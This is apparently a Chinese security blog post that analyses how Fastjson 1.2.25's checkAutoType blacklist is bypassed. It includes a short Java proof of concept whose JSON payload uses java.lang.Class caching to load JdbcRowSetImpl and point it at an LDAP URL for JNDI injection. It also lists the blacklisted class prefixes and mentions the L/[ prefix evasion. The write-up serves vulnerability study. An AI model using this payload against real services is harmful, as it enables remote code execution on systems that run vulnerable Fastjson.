在1.2.25中,主要添加了config.checkAutoType(typeName, null)函数,所以从这里开始查看检查逻辑;
为了方便,先看POC;
public void byPass1(){
String s1="{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:5555/QxtsWChu\",\"autoCommit\":0}}";
JSON.parse(s1);
}
关于POC中为什么要先反序列化Class类在debug的过程中应该就明白了,另外一个类就是JNDI注入的POC,这里先解释为什么要传入一个val值:
此处的val值其实对应着恶意类名,在MisCodec(序列化和反序列化器)中本来应该叫做strVal,但是由于该类中deserialze()方法中的判断逻辑,所以只能叫做val;
因为基本上代码没有太多变化,仅仅加入了一个checkAutoType函数,而函数的返回值是一个Class,所以直接从这个函数开始分析;
下面是具体分析流程:
该类中typeName为需要反序列化的类,expectClass为期望类,期望类默认为空;
检查typeName是否为空,替换内部类;
如果开启了autoType或者expectClass不为空,并且expectClass在期望类集合中,则直接进行类加载,但是默认情况显然进不去;
如果该类在黑名单,则直接抛出异常,黑名单如下:
- "bsh"
- "com.mchange"
- "com.sun."
- "java.lang.Thread"
- "java.net.Socket"
- "java.rmi"
- "javax.xml"
- "org.apache.bcel"
- "org.apache.commons.beanutils"
- "org.apache.commons.collections.Transformer"
- "org.apache.commons.collections.functors"
- "org.apache.commons.collections4.comparators"
- "org.apache.commons.fileupload"
- "org.apache.myfaces.context.servlet"
- "org.apache.tomcat"
- "org.apache.wicket.util"
- "org.codehaus.groovy.runtime"
- "org.hibernate"
- "org.jboss"
- "org.mozilla.javascript"
- "org.python.core"
- "org.springframework"
如果以上情况都不满足,尝试从缓存表中得到类;
这里使用的类为java.lang.Class,所以找到了。所以直接返回了。
返回之后,会去根据类找到对应的反序列化器,还记得之前的POC吗,都是使用的JavaBeanDeserializer,废话不多说,继续跟。
这个反序列化器是从config(ParseConfig)中找的,这个类设置了很多常用类的反序列化器,我们在之前调试中就可以看到,Class类对应的反序列化器是MisCodec,跟进;
来到反序列化过程。我们一直跟进到下面的语句。
如果,我们传入的类为Class,则加载类,并且将strVal传过去,strVal是我们设置的恶意类名;继续跟进这个方法;
如果类名以[或者L开头,都会直接进行动态类加载(如果开启了autoType,可以在恶意类的前面加上L或者[,绕过黑名单进行类加载);
如果classLoader不为空,会直接加载类;并且将该类名和类对象放入缓存表中;但是这里我们进不去,继续跟;
获取系统自带的类加载器,如果与当前类加载器不一致,尝试加载这个类,并且将这个类名和类对象放入缓存表中以便下次使用;
这个操作没太看明白是在干什么,但是会导致我们传入的恶意类被放入到了缓存表中,那么这个恶意类在下次到缓存表中查找的时候就会被找到,从而直接进行类加载。
!
可以看到确实如我们所想,第二次加载这个恶意类的时候,会直接从缓存表中得到然后进行类加载,下面写的关于autoType和黑名单的限制就被跳过了。
标签:FastJson,25,表中,apache,org,序列化,Class,加载 From: https://www.cnblogs.com/K1na-blog/p/18079415